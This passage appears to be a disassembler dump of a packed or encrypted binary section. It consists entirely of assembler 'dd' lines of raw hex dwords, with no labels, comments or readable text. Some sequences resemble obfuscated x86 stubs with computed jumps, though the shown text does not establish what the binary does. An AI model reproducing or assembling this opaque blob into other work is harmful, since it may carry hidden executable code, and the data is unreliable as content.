		dd 4F20D1AFh, 430A60DBh, 0F65FD09Dh, 0FF8149A7h, 612ED4A1h
		dd 20B7C9F0h, 357ADB4Fh, 4F207A06h, 0E54EB7DBh,	8626707Ch
		dd 69B85E28h, 589D430Bh, 0D29F32FAh, 9F74C32Ch,	8ED37941h
		dd 4961C952h, 4EFC661Ah, 2E62CBDBh, 0A0EF895Bh,	0D9A62F8Ch
		dd 0BAFF680Eh, 235C838Bh, 9865CED1h, 0C0CC723Ah, 0A57218E0h
		dd 18067276h, 3F9DEC71h, 9001CE74h, 7C6FD541h, 22020EB4h
		dd 9AE7B45Ah, 7DCC723Ch, 0DFAC521Fh, 332B481h, 70D9B47Dh
		dd 15E24BB4h, 7946ECB7h, 0FAF07458h, 0A447FDE1h, 552B5ADCh
		dd 0DC70D9B4h, 0A8427BA8h, 8EF7F9F7h, 71391925h, 3E0FECBh
		dd 96000000h, 0AF758C54h, 16DE3C09h, 7945A370h,	0E1A806D3h
		dd 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h,	0D8A301CEh
		dd 52E86532h, 0C281E289h, 4, 4EA81h, 14870000h,	0C895C24h
		dd 53D46824h, 14890000h, 0E3895324h, 4C381h, 0EB830000h
		dd 241C8704h, 242C895Ch, 730968h, 242C8900h, 0AC186D68h
		dd 0F5815D18h, 36B62079h, 0ED81E5D1h, 55E03043h, 685DEA89h
		dd 30FCh, 81242489h, 42404h, 815D0000h,	4ECh, 24148900h
		dd 8B08458Fh, 8957242Ch, 4C781E7h, 83000000h, 3C8704C7h
		dd 148B5C24h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 32ABE95Ch, 0B3E7FFF9h, 4C81B8E4h, 0C5030654h, 0DC8EE0FFh
		dd 0BF9C7D0Bh, 0D15C1C9Dh, 2EE3700Ah, 7C7E6921h, 0B84B2AB0h
		dd 4F750FA2h, 90E83516h, 0E9187D54h, 0A425374Ah, 0F078158Dh
		dd 0BE1F5767h, 281E6D46h, 0D7043B43h, 8E4B0665h, 112B51FDh
		dd 0ED370F6Bh, 0AED047E4h, 2A837D58h, 8A68036Fh, 66175743h
		dd 0ADB347BAh, 4EB54FAh, 0F1BB412h, 4E6E9h, 9036FC00h
		dd 33D9A484h, 0D77D4727h, 781EEBCBh, 1DC38C6Ch,	0B8990F11h
		dd 5D3D49EFh, 4E4F096h,	0A6869238h, 952C38DEh, 0D3E799C8h
		dd 3F4AD4FAh, 7AD75FFh,	6D13DC3Ah, 13B98161h, 2A870CEh
		dd 0EB3AE0ACh, 4AF0B816h, 0EDF4307Dh, 91B632AFh, 0E0AB0958h
		dd 4AA8F53Ah, 9C0DDA80h, 4E2D0B75h, 6EBD26DBh, 8FB52399h
		dd 0E2EE945Ch, 9DC53602h, 62882B1h, 0F83479E2h,	8A52350Fh
		dd 72A617E4h, 0CF1EC20Ch, 690FDBBBh, 0D1773E9Ch, 45FFE304h
		dd 7565D6A2h, 0DFE3AAC4h, 12F2FE67h, 0A8D7A44Ah, 0DB4E79CBh
		dd 0A7055219h, 0F76835DBh, 4E79B0D0h, 0C91881DBh, 6AFCE75Dh
		dd 0ACB016E5h, 12DF854Eh, 44EA52A1h, 28000000h,	0C207AD75h
		dd 2AF79D64h, 0F29863B9h, 9065B425h, 4F212161h,	77EDD3DBh
		dd 1642FA8Ch, 121B0h, 755F0000h, 0D93704AAh, 0AB07B0Eh
		dd 9663CC3Dh, 0BD86B38h, 0B92FFC65h, 1BE6194Bh,	0C1896975h
		dd 75C50F1Bh, 85FB2AACh, 0ACDB4F20h, 3795DA43h,	0A479C86Eh
		dd 8D57B46h, 0A673D118h, 73C23300h, 0E1AA5D07h,	2602F3Bh
		dd 37DDA437h, 4190F96Ah, 0A8751BE3h, 0DDA804Ah,	0CEFD4A99h
		dd 0DB4F20B2h, 5BC7167Fh, 4044EEE9h, 9573B016h,	0B1000000h
		dd 5119AC75h, 2FA2DEABh, 55EF500Fh, 286DD63Fh, 0B3038AECh
		dd 0CD0C40E6h, 0F9CE1D17h, 5E2BD19Bh, 17CA7AE8h, 0BC9CA84Eh
		dd 0BB084DF3h, 4EB0F48Ch, 85D43DDBh, 0DF8552B0h, 34309E12h
		dd 16BC84E2h, 30D161C7h, 6EE6B016h, 9F000000h, 86D7DD63h
		dd 4E9D9E51h, 6AC7586h,	7C0FDB39h, 23E0BB1h, 2B613802h
		dd 51BA23A8h, 42A06D84h, 9708D57Bh, 8668DC48h, 56EB5C28h
		dd 0A20409D6h, 9F10DD46h, 8329F250h, 0E06CA877h, 14BA8101h
		dd 0C5A2D647h, 32FA49BEh, 3704AA75h, 1AC08CEAh,	5E8DDC4Dh
		dd 0DB4F2115h, 807BE9CFh, 0B01642E6h, 6006D230h, 6BD32293h
		dd 1, 3AAB75A9h, 99906AAFh, 0B13D71E6h,	8C018E9Fh, 529FE44Dh
		dd 4F065D23h, 1C6BD4DBh, 8E21E947h, 0E8B51EC4h,	7E61E3C7h
		dd 8DC90EB4h, 29DA4A6h,	899DECB6h, 7EC3A92Ch, 3774284Fh
		dd 0C390F9D1h, 0EBF79D65h, 5FF2BE1Ch, 0BC89F298h, 0D69EFC4Bh
		dd 6C4365h, 0A60F9BDFh,	0ED8AAD9h, 2915D502h, 5A00C83Bh
		dd 58217F4Eh, 3D0563B2h, 0A46CCA97h, 287DB9FEh,	0BE7017D5h
		dd 5F48C413h, 7CE5C669h, 0D8326B48h, 0CB1A8D34h, 0A4A006F6h
		dd 0C7D37941h, 5BB947DFh, 12A74B6h
		dd 86B20000h, 20760A39h, 52BBDB4Fh, 0D2AD2803h,	0B1F65F05h
		dd 983E0664h, 41711A49h, 0ACE0D138h, 59699C9h, 8D33FCB6h
		dd 90EEBB24h, 7FDD22C8h, 0ABBF0EB4h, 905D03CBh,	7FC46A32h
		dd 0FAC65921h, 0AD168754h, 4B206FE0h, 0EEB6145Bh, 0FF2E7B48h
		dd 0D5014881h, 8FDE47B0h, 0F6BE2123h, 0E6AD0B50h, 0B3027340h
		dd 9AAFB79Fh, 514CB65Bh, 8A000000h, 458AE2F8h, 4F223A16h
		dd 69AE17DBh, 589D430Bh, 4F1F5729h, 2271DADBh, 1F621E4Dh
		dd 54BADB4Fh, 0E9C2FE10h, 0C76D3867h, 735589FAh, 0B18CDB71h
		dd 0B3004529h, 0E9493766h, 7FE8DB4Eh, 0EB4F0130h, 9902DB4Eh
		dd 862CF654h, 6D832337h, 39000000h, 4A8FDDF8h, 384FEC1Bh
		dd 0A7EC55D1h, 0F1552B5Ah, 86DCD501h, 0DA4B18BEh, 0EF4D2271h
		dd 95758127h, 2B5A27CDh, 0D501F24Ah, 4ABDA793h,	3997DC82h
		dd 6478C76Dh, 93C2CE07h, 0D501F0EDh, 2D72DB44h,	0D63EF8FEh
		dd 0F3C029CAh, 5A27CD95h, 0DEF5539h, 7035F3D1h,	0D90D99FDh
		dd 0A10F5470h, 431E6DB5h, 6695DA92h, 0C4819E90h, 0D21C2891h
		dd 0AEC4DDF8h, 5C091E5h, 0ADDC218Ah, 0D122E449h, 44A26FD8h
		dd 5591D67Ch, 0B2793384h, 9ACE3F0Ch, 86D50279h,	24CA9272h
		dd 59E82857h, 58C6CBEAh, 8B31F9ECh, 31D79F7Fh, 0ECB91764h
		dd 511B7946h, 95F342ABh, 345522C8h, 29F11450h, 0CF977783h
		dd 6897E429h, 0CBAA8C18h, 8C61B019h, 36Eh, 8C542400h, 3C09AF75h
		dd 0A37016DEh, 6D37945h, 6E3BE1A8h, 0D4A14710h,	3A07AD76h
		dd 9C690FDCh, 1CE743Eh,	6532D8A3h, 32FF68E8h, 3C890000h
		dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 243C895Ch
		dd 564368h, 241C8900h, 33B06851h, 0C8B4244h, 4C48124h
		dd 0F7000000h, 91E981D9h, 0F72BFD61h, 0BAE981D9h, 8967ED47h
		dd 8B5459CFh, 0C481241Ch, 4, 4EC81h, 3C890000h,	8438F24h
		dd 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	34FF5C24h
		dd 0C4815F24h, 4, 0F92D60E9h, 0BA485CFFh, 2B8AFE62h, 0B8C2B1D4h
		dd 65451E3h, 0E0FFC503h, 4733CAAEh, 415C9516h, 613E8B30h
		dd 0B8A36Ah, 0F6E704EBh, 78E95179h, 6000005h, 0AE8E9A40h
		dd 51313DE3h, 0F5D5E187h, 96768228h, 191B27CDh,	53F9C297h
		dd 0FAA06747h, 9C420EEEh, 42E8B090h, 0A3D29F36h, 0D4FACEDDh
		dd 75094954h, 0ED3A07ADh, 519912B1h, 83D29678h,	0AAB65C25h
		dd 8F5C02CAh, 0F3F86931h, 0C6785010h, 53A06DD6h, 35842AF5h
		dd 919B0CD7h, 0C3BEB2EDh, 0A41AE750h, 13DB0E36h, 0ACDB286Dh
		dd 0DB4E54D4h, 91A5F45Dh, 333FE5B1h, 98E81764h,	99DB4E54h
		dd 0B783E130h, 0A76ECC11h, 0B8E73401h, 0DB4E54C8h, 48970069h
		dd 0A84E1573h, 6ED6BADBh, 0FD09AF7Bh, 5F05D02Eh, 57EAB210h
		dd 0B27FE88Eh, 0A01C2965h, 0B7673363h, 0D73A3968h, 0C4AADB4Eh
		dd 0BCD5580h, 6CEAB016h, 28000000h, 0BA602886h,	9F450D6Bh
		dd 20DFA3D2h, 2F15DB4Fh, 0BD85E335h, 2B0E4A17h,	4E1A340Ch
		dd 1278C730h, 0B0161A70h, 3A4675C2h, 8EDB4ED4h,	7B79DFEAh
		dd 5FC893DDh, 1A810h, 75E60000h, 0D93704AAh, 3D9B680Eh
		dd 87FDCA70h, 0EDB82B19h, 0BA98657Ch, 40968674h, 9304D177h
		dd 0BA87E52Ah, 4C5CD749h, 0FE67A9A7h, 0F3BB9BAFh, 75F7414Dh
		dd 63C106ACh, 0D1A6F59Bh, 0BD02A873h, 9EED935Fh, 0F173D9C9h
		dd 939F450Eh, 45EBB3h, 4105DEC4h, 0A13C1747h, 0E01549D2h
		dd 26FB4A7Ah, 235D8CD9h, 0EDB4F0Eh, 2EF856A5h, 0F847BB88h
		dd 0B192CEBCh, 0E0ABA676h, 1682D13Ah, 0A083B32Eh, 8A38B016h
		dd 0F1000000h, 4B0B75A4h, 0D29BDB4Eh, 23EE5F2Ch, 86A36BBAh
		dd 68B75D28h, 0CE9B410Ah, 0ED63481h, 32A9B68h, 0DB4F207Dh
		dd 9EFC4BB4h, 9CE92ED4h, 4F21136Dh, 25CB93DBh, 0B31CE758h
		dd 0AB198F64h, 0EA7D46B9h, 7137C22h, 0EBB85E27h, 384FC08Dh
		dd 50924B10h, 0AE22EF58h, 59D90440h, 5EB01677h,	8Eh, 5B28869Ch
		dd 3BD204EAh, 61CAEF24h, 45EBB412h, 0A84E1A78h,	6CD8C4DBh
		dd 0F4652C8Ah, 0F88B98B8h, 7ECD36D0h, 0A5B15720h, 5D28865Bh
		dd 0E3A783B7h, 0C1BC6998h, 0A3491472h, 3091225Eh, 25F709B2h
		dd 946107CFh, 0D0FFD423h, 0DB4E67A3h, 0B58228F3h, 1BE88E57h
		dd 67E19FCEh, 0E750DB4Eh, 7278ECD8h, 2756A36Ah,	0DB4E6759h
		dd 67512F5Eh, 77E0DB4Eh, 88F443ACh, 10DC3ADCh, 0ADB51B6Ah
		dd 4AB016FBh, 0Ah, 0AE9DC703h, 0D2311886h, 4A86BB83h, 2D828201h
		dd 0C38BE177h, 90DF501Dh, 0F5C26832h, 0EB7E4AA8h, 0C4137C22h
		dd 2BF89E66h, 0DC3E260Ah, 0B8E98BA0h, 0C00F1EDFh, 0E6F29862h
		dd 15444C89h, 0DB4E916Bh, 0AFF45DC6h, 0ABEBD873h, 5AA94CA5h
		dd 99DE0Dh, 0B00ED138h,	387441E7h, 0BCF2068Dh, 96E54EC6h
		dd 408D5AC3h, 2F741AE2h, 13F8000h, 0F948B1D5h, 212DD39Bh
		dd 6D37941h, 0FB8E5BB9h, 5320892Fh, 1E6493E2h, 0CFD50140h
		dd 0B67E61E3h, 5C240410h, 0C38BE9B6h, 3F6E1241h, 5AC3D501h
		dd 0ED3424F1h, 0BD1566B1h, 8FDEC02Ch, 0F6BE2123h, 0CA5C4450h
		dd 0F1B65BAAh, 113h, 8FDDF82Fh,	41701B4Ah, 78E1D138h, 0DF854DABh
		dd 852BF3D3h, 0EC925AB8h, 552B5AA7h, 0DCD501FFh, 5F4F2473h
		dd 0D0984BF9h, 6998E52Ah, 0D5020017h, 4E62B11Ah, 5B63DC66h
		dd 45FBB6h, 0F8390000h,	16458AE2h, 0DB4F223Ah, 0D0763F9Dh
		dd 45AE81h, 0FB2FD5A2h,	0A3ECC893h, 875CAB7Fh, 4EF22858h
		dd 0D68EF4DBh, 0B5024B6h, 3160E2ADh, 0DB4EF14Fh, 0C11079E2h
		dd 0F30B4574h, 0DD46DB4Eh, 9131D1h, 0F8E70000h,	30D6A2DDh
		dd 4489F263h, 384FF215h, 5988D5D1h, 0D501F227h,	7F52A10Ah
		dd 23EB4916h, 0C991717Dh, 4E275623h, 8FD501F2h,	134FA1A3h
		dd 0F21F71h, 5DBB0ADEh,	90360295h, 0EE4C1B27h, 65B27F25h
		dd 16E4A36h, 157EE7D5h,	82EAEBC6h, 0DAB4F03Dh, 0BB95A593h
		dd 0E5174695h, 4CCAD580h, 1E872DF6h, 0B1D39DD9h, 92B4CD70h
		dd 82B68954h, 4D9CC872h, 0AC521A78h, 6ADABEDFh,	4C91DBFAh
		dd 0FD83B2FFh, 34CEAC58h, 0AF4D7CCBh, 82C480ABh, 86C30D19h
		dd 0EDBA6028h, 83522D7Ch, 0F957A4E9h, 72BF8C32h, 4F203D43h
		dd 228BF4DBh, 7458A4D3h, 70D9D123h, 0D77D45A3h,	0A123EBCBh
		dd 0FACF0E72h, 51BA23D4h, 0F255D00Ch, 0B6F534EAh, 0A8639267h
		dd 1E59C51Dh, 84E2AF55h, 0D44512B8h, 4411B77Eh,	0CD03412Dh
		dd 5CD4105Fh, 0D52AE794h, 0FF65D120h, 9AD3440Ch, 0E8FCA567h
		dd 997985EEh, 5E2BD1h, 9FC08D33h, 96789BBh, 5DCE9B41h
		dd 55E8B00Eh, 0AA1BE88Eh, 2A663541h, 426AECB9h,	1F7DCCBCh
		dd 97E4B157h, 0F9C66C39h, 31B3988h, 0D1000000h,	0AF758C54h
		dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh,	0AD76D4A1h
		dd 0FDC3A07h, 743E9C69h, 0D8A301CEh, 83E86532h,	0C8904ECh
		dd 8806824h, 14890000h,	0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 241C895Ch, 54529168h, 24148B06h, 4C481h
		dd 0EC810000h, 4, 81242489h, 42404h, 835B0000h,	148904ECh
		dd 8438F24h, 56241C8Bh,	0C681E689h, 4, 4C681h, 34870000h
		dd 148B5C24h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h
		dd 27C3E95Ch, 58D3FFF9h, 0F5214C1h, 0B872D56Eh,	6545789h
		dd 0E0FFC503h, 6022DF32h, 2029BC33h, 29ED8173h,	663C49FBh
		dd 5AFD460Ch, 1491EE33h, 1974D725h
		dd 3D5AA921h, 0A1DA559h, 6DAE3F9Bh, 0EA60329h, 19DFE7F3h
		dd 5334EDDFh, 676C1F69h, 64985387h, 31C59FF1h, 5B8E7814h
		dd 4426B742h, 25DB2A95h, 2EF90DD5h, 54456FF7h, 0F01BE00h
		dd 4990AA93h, 479CF1E3h, 3BF6E5E7h, 62317AF4h, 19511481h
		dd 32A704EBh, 0E1E91D34h, 0FE000005h, 0A6869238h, 492935DBh
		dd 0EDCDD97Fh, 8E6E7A20h, 11131FC5h, 4BF1BA9Fh,	0F2985F3Fh
		dd 943A06E6h, 3AE0A888h, 9BCA972Eh, 0D4FAC8E5h,	8601414Ch
		dd 0C3BDEC39h, 6EDB4F20h, 20A2DE05h, 5B8FDB4Fh,	0F1947BEBh
		dd 0A1F059C2h, 90D57B43h, 536C1443h, 5CC5DB4Eh,	0AFEB380Dh
		dd 85E10B9Eh, 0A47BAF2h, 2469AFE3h, 0FD83685h, 0B57D5D69h
		dd 1CE4420Fh, 4C19BF89h, 47A572DBh, 9309D67Ch, 4CC3F25h
		dd 0D4614B93h, 0D53E1EF0h, 771DE9C9h, 19BF8B6Bh, 8127EE4Ch
		dd 0E58B56B4h, 4AF0BA18h, 0CC785C7Dh, 5B09ED06h, 2A36DCA8h
		dd 135A1F5Bh, 0ABBBC5F4h, 0D76DB4Eh, 37CCD7D9h,	1CC28AE8h
		dd 0DAA4024Fh, 0BDB6E534h, 27DB4E67h, 0A4F10341h, 4E680B75h
		dd 0B2E126DBh, 0DB4E67CEh, 4291FA63h, 16FB4ADCh, 6A71B0h
		dd 75AF0000h, 64C207ADh, 953B0699h, 21EE57C8h, 4F3710E5h
		dd 56BFDD6Bh, 7F033207h, 75DB4E4Dh, 182AD58Fh, 0DAB01691h
		dd 410EB47Ch, 87117E3h,	151B9h,	758F0000h, 0D93704AAh
		dd 0EB47B0Eh, 0AD7AD8A5h, 9686C207h, 2E1B8DB5h,	0C898E817h
		dd 3099DB4Eh, 2DA378C7h, 976285BFh, 0DA16E5F1h,	0CD57F5C8h
		dd 74D2217Ah, 0B0FA06ACh, 0C106AC75h, 0DE1A6185h, 0E33215B8h
		dd 3FE5B00Eh, 281C8272h, 3A46ECB5h, 1FEC925Ah, 8451F7C1h
		dd 0E9B65C26h, 4F1CC28Bh, 854BF95Fh, 57B9AB19h,	0BF8C32F9h
		dd 9999FF4Eh, 39B01630h, 21D842FDh, 4F9E2FACh, 85E7h, 0AC752500h
		dd 9BCA4C19h, 0DB4F20E5h, 117AE34Ch, 30507FCCh,	1DB4F20h
		dd 97206498h, 65EBA943h, 0A7F44116h, 4E640878h,	71C029DBh
		dd 5EA34913h, 639EE211h, 2A93DB4Eh, 229006DBh, 50F6BF22h
		dd 0F59B6444h, 57FDCA28h, 0EA96C512h, 47DB4E63h, 46BA8FDEh
		dd 0C1716CD8h, 11B016FDh, 6DEB95C4h, 0DD46DB4Eh, 49268Eh
		dd 75640000h, 0DB3906ACh, 859C690Fh, 6F38AB99h,	608F11DCh
		dd 0DB4F2120h, 0D63FA811h, 0AA7580CAh, 0B7726839h, 95FEBA50h
		dd 34DA99C8h, 240ADB4Eh, 0AEADB520h, 1865B016h,	4E4097E9h
		dd 9C420FDBh, 2A935ECFh, 173DBh, 75B10000h, 70993AABh
		dd 0E51F69EAh, 8951AF7Ch, 7DAC2EF6h, 0DB4E9003h, 0F35CC52Eh
		dd 23210526h, 18AB73D1h, 7340A94Fh, 0F660CE02h,	21C82DDFh
		dd 4AA74D2h, 563A9BF8h,	4E625927h, 3B6FD8DBh, 0F0591A06h
		dd 0ACF15AC2h, 5550305Fh, 4978DB4Eh, 0BCEA1618h, 0C1107944h
		dd 71324574h, 0AAEFD137h, 12A057Bh, 32D8A1D5h, 0D329F465h
		dd 0A1F76006h, 0F56633D9h, 2572BF8Ch, 1298AF6h,	0A3EA7D5h
		dd 0ACC83757h, 0B513621Eh, 0C60247EDh, 3B30C32Fh, 7084D366h
		dd 5522C890h, 1F85C26h,	0BFA591D5h, 0D2DE844Ch,	0F987B603h
		dd 38D501F8h, 0F8BCC4F3h, 0C75D501h, 0DD834DA3h, 0C268308Eh
		dd 2C5BA8F5h, 0D501F854h, 0C72574DDh, 9C8C59FFh, 8EEC0E36h
		dd 0DD4E1BC1h, 0C817BD87h, 0F0FCA26Ah, 5B6A7E08h, 1869DB6h
		dd 9560000h, 4F38DBCh, 0D53ED502h, 204D2AEh, 6107D4D5h
		dd 0EF582394h, 0DDF8D8A0h, 0C1FD4A8Fh, 3BC95A5Ah, 0B4CCF311h
		dd 7DDB4E81h, 4978C514h, 0D137A242h, 0FF703795h, 78D29671h
		dd 9C69D2DCh, 0C9B7E62Bh, 68D5016Eh, 74DDB0FFh,	0DB8149A7h
		dd 9427EFCFh, 0C5926CCh, 16EA3DDh, 0BC258ED5h, 5826EB88h
		dd 94FD1A0Dh, 0FBA169C7h, 6309D02Eh, 0B7D5A96h,	7B1A6FA6h
		dd 0E7B45A25h, 7F62E2C6h, 0C0A811B7h, 2FF7EA5Ah, 8D957D89h
		dd 2AB65BD4h, 45h, 5E288668h, 4C8E69B8h, 9CB4E328h, 0B5DB4F22h
		dd 6DBA074Ch, 4F20423Eh, 5F86EFDBh, 0DB4F2121h,	8358A710h
		dd 4F212C54h, 4BA9F0DBh, 9A0BD87Eh, 565DF4Bh, 2D5CA1D5h
		dd 0DB4F2223h, 19B9C52Eh, 0B0h,	8FDDF8CFh, 7D23EC4Ah, 3694E12Eh
		dd 4B7AC96Fh, 0D1384FBCh, 0F14F1C85h, 5ACB9629h, 4EAFA790h
		dd 0A673DC02h, 0BD87E48h, 83C8319Ah, 0EBB85E25h, 37172B7Ah
		dd 0CDFCC96Fh, 0D5019BA8h, 0C79023EEh, 8DEBB821h, 3C5320C6h
		dd 0CFDE1450h, 0B67E61E3h, 997B0534h, 4DB6D501h, 5A7BD8E4h
		dd 569ECD12h, 51CAD5F3h, 0BF7FA015h, 0F342FE0Ch, 6220EC20h
		dd 0EF7BFB63h, 935BB986h, 3AFF20EDh, 16C2BEEDh,	9A06CEAEh
		dd 0D8F0898Dh, 0B7066F3Ah, 99F7194Bh, 0FC5A27CDh, 50C18E34h
		dd 18BD98E7h, 14E00F54h, 93C481ABh, 0F0964F57h,	98E72447h
		dd 6505CC5h, 4A8FDDF8h,	2379D91Bh, 5281CED1h, 0D4FAC72Eh
		dd 8C5779Ah, 1FEA7524h,	2B9467B6h, 95C4115Eh, 0D4FB0FEBh
		dd 308EDD46h, 640AD568h, 0B1BD2697h, 603EA6E2h,	0AE4371E5h
		dd 36CB3C94h, 3C8BF4A7h, 0A37016DEh, 0D88D7074h, 0C480EE35h
		dd 0A7B35921h, 8C59FFC7h, 21A6033Fh, 0DE4D6C99h, 0BE64318Fh
		dd 78ECD0F1h, 0B17BD85h, 0F0BD632Bh, 8D2h, 28868800h, 0E766B55Bh
		dd 9AF751Fh, 7016DE3Ch,	0D37945A3h, 3BE1A806h, 0A147106Eh
		dd 7AD76D4h, 690FDC3Ah,	0CE743E9Ch, 32D8A301h, 5452E865h
		dd 4C2815Ah, 83000000h,	148704EAh, 89535C24h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h, 4
		dd 8704E883h, 895C2404h, 0BE56240Ch, 6545889h, 348BF389h
		dd 4C48124h, 68000000h,	72B0h, 83242489h, 59042404h, 4EC81h
		dd 1C890000h, 8418F24h,	592434FFh, 8B04C483h, 8953241Ch
		dd 4C381E3h, 83000000h,	1C8704C3h, 66E95C24h, 5FFFF921h
		dd 1C5958FBh, 0EFE955E6h, 23512A09h, 545DDCB8h,	0FFC50306h
		dd 0E6BB02E0h, 0C11DE27Ch, 959A053Fh, 0A6466E7Dh, 0D6F0330Ah
		dd 0C09D6F2Eh, 4EE4C254h, 41C3FC69h, 0DC26F73h,	6A33152Dh
		dd 0E0570F2Eh, 0E26D6B25h, 0A91A8024h, 786FD60Ch, 2AA3586Ah
		dd 522B6A34h, 0FD467158h, 0CEDB372Eh, 53B8C603h, 0D0F83303h
		dd 0E1B5477Ah, 6EEC4214h, 0EDA91614h, 7147FC2Fh, 0A5CE634Fh
		dd 0AA8D8D65h, 8906545Fh, 4D101DB5h, 998D8906h,	0FC064D05h
		dd 51D85C7h, 5B80064Dh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 24FFC4C3h, 0E9F838E9h
		dd 0Dh,	1C84C737h, 446B7323h, 0E2912059h, 7D858B32h, 0C7064D2Ch
		dd 4D02E985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 8E0F323Bh, 6, 27F9958Bh
		dd 3360064Dh, 4D1EF19Dh, 619AB106h, 2585B5FFh, 6A064Dh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 5B04AEC3h, 0E2A9D94Dh, 8BDE819Ah, 5595FFC1h,	89064D2Eh
		dd 4D0B9DBDh, 0FF006A06h, 4D051195h, 0EBC08B06h, 819CA94Eh
		dd 0D383A948h, 0C8BB466Ch, 0A1E83462h, 0D73FB310h, 0FD411276h
		dd 7D23A6FBh, 80585CC3h, 0E1F3CBBDh, 32668192h,	0E1C7CA25h
		dd 0D38F561Eh, 0ADEF0D78h, 0DC014Ah, 0AF682BCEh, 0F8BE79h
		dd 5FA454CAh, 0FC23D702h, 0D3D87CFEh, 0EB3E3613h, 3B1D0204h
		dd 5E9E92Ah, 0B77D0000h, 5A250511h, 0FEC8A8B4h,	9F6C4C58h
		dd 440DEDF9h, 1890929Eh, 0BCC86E37h, 636F15DCh,	511B783h
		dd 0ABB75D25h
		dd 68184714h, 0C9D4FAC0h, 0CF9BF9BEh, 9CEB5C29h, 7AD75D4h
		dd 6D13DC3Ah, 13B98161h, 7A20E846h, 8840F935h, 5699C71Fh
		dd 0A718E58Bh, 0CD1AEF3Eh, 142F5180h, 0AC02DB4Fh, 85D43DE3h
		dd 0E9B65C27h, 0AC5F0573h, 0BDF93EE4h, 0DEF9798Ah, 0ADC1102Dh
		dd 4F5B01CDh, 0C321A36Fh, 522E55FBh, 0DFDB4EC6h, 0B21BC189h
		dd 571E7C49h, 0FEC3E4B1h, 0C6FE82B1h, 8AB9DB4Eh, 0DB4EC6F6h
		dd 9E07D23Bh, 8F61E34Fh, 46413D53h, 0E13061FEh,	511B783h
		dd 0EAB75D25h, 0CF753F9Dh, 13429102h, 0DB4EF260h, 925FBD84h
		dd 0C08D33FFh, 0BB19E64Fh, 0B7C49EFh, 7DE753A2h, 166CE082h
		dd 7217B0h, 83D00000h, 4EFF2C54h, 9AF7ADBh, 0BE86D53Eh
		dd 3A07AD75h, 4F20770Bh, 0AD977DDBh, 16421032h,	1C7B0h
		dd 75050000h, 0EA3704AAh, 21126E9Dh, 0B61FDB4Fh, 0BC3E0967h
		dd 69D9F680h, 0C5EC6162h, 0DB4EF1BBh, 99C80D76h, 0DB4EF1E7h
		dd 0AB78E14Ah, 9EE2115Eh, 93DB4EF1h, 0B07DDB2Ah, 59C73D0Ah
		dd 872DF8EBh, 2DD39B7Bh, 27F45221h, 5825CB94h, 672F7EE7h
		dd 0C106AC75h, 0E22B9C63h, 663E9DC2h, 23F847B0h, 8754FAC5h
		dd 29F25097h, 5926CC96h, 0C4307FE8h, 1945D80h, 1A268F35h
		dd 0FFCC723Ah, 4A3665B2h, 0E7DB4EF8h, 7D12F7Eh,	6F369461h
		dd 0A16E14DCh, 9CFAC730h, 2602DD3h, 9A86953Bh, 0C56B37AAh
		dd 0C282F05Ch, 16681F17h, 3B6AB7B0h, 0DB4F0245h, 27CD96ECh
		dd 6C076FBEh, 45000000h, 3906AC75h, 45B2B0ECh, 0D8532D5Ch
		dd 75DEDB4Eh, 1CEDE141h, 6EDFAC52h, 8E58B605h, 37A51BE8h
		dd 6B11DA0Dh, 10B67F5Fh, 9618E543h, 60661A49h, 62CBDB4Eh
		dd 4E60453Bh, 1A83ECDBh, 0F96BD94Dh, 168074FEh,	4583B0h
		dd 86C10000h, 141A0B4Ah, 0E837C6D7h, 4E1BC18Ah,	0B17E24F0h
		dd 0A76FCD9Ah, 74C33401h, 0E0A95C08h, 75E42E3Ah, 83704AAh
		dd 0DB4F206Bh, 3FD19379h, 679618E1h, 0DB4F2119h, 0F746AF18h
		dd 1642F191h, 126B0h, 75640000h, 0DA3805ABh, 0DA276C12h
		dd 4F20D5ABh, 0A4F35CDBh, 8BE9AECFh, 710F3EC0h,	0C0DB4F20h
		dd 339FEE57h, 5E04CE31h, 8CE0F552h, 7A20E947h, 0A0ED3CADh
		dd 38450671h, 89D61BD1h, 1FD265Ah, 7BA20BD5h, 0D501FD05h
		dd 8D5AC32Ch, 0BCF6672Fh, 0EE946145h, 4A7CB021h, 8B970095h
		dd 703DE3ABh, 2054141h,	92DFACD5h, 2061D63h, 156B9AD5h
		dd 1CD50206h, 307FE8B3h, 955D80C4h, 0B614E3EFh,	96F443E9h
		dd 631D4CCEh, 0CED50205h, 6265A89h, 0A20BD502h,	0A503D039h
		dd 0C6A37DDh, 74D29F45h, 173805ABh, 0D3BB3133h,	4C14F76Dh
		dd 90B29AA6h, 47B65B59h, 185h, 58DAA200h, 2115729h, 871DAD5h
		dd 0B37BCA3Bh, 4A8FDDF8h, 3841701Bh, 3378E1D1h,	15640AD5h
		dd 741AE240h, 1AC08868h, 0DAA2004Dh, 0BF87E534h, 3CE612Ch
		dd 0B627F45Dh, 0FF3E4271h, 8AF3D501h, 2FF65421h, 935EBC89h
		dd 1D0920EDh, 63C9B127h, 5BD30FE1h, 0EB73E462h,	6CE2C7Bh
		dd 0DA6C5460h, 1CB65BF9h, 9864F7BEh, 5EBC89F2h,	3887F096h
		dd 73D0h, 0E2F80E00h, 0C9F8458Ah, 0DB4F20B7h, 75C2117Ah
		dd 4F220A46h, 29F147DBh, 0DC45B683h, 651B4A97h,	0CCDB4F1Fh
		dd 0F23F1463h, 0DA8047A5h, 0B759C0Dh, 26DB4F20h, 413F6EBDh
		dd 65DB4F1Fh, 943A079Ah, 20ED56C7h, 8552F8C2h, 2DA3A10Fh
		dd 0DFA8064Dh, 0C67EEA39h, 650BD634h, 0FDD82798h, 255499DDh
		dd 0DB4F212Bh, 11B1BD26h, 0A5h,	761CE442h, 21E938A9h, 4A8FDDF8h
		dd 384FEC1Bh, 1FEC55D1h, 0E53F9C1h, 3B4574C1h, 0F6D501F1h
		dd 0F21A668Dh, 0AE17D501h, 0A36B4B5Fh, 740130FDh, 69D501F2h
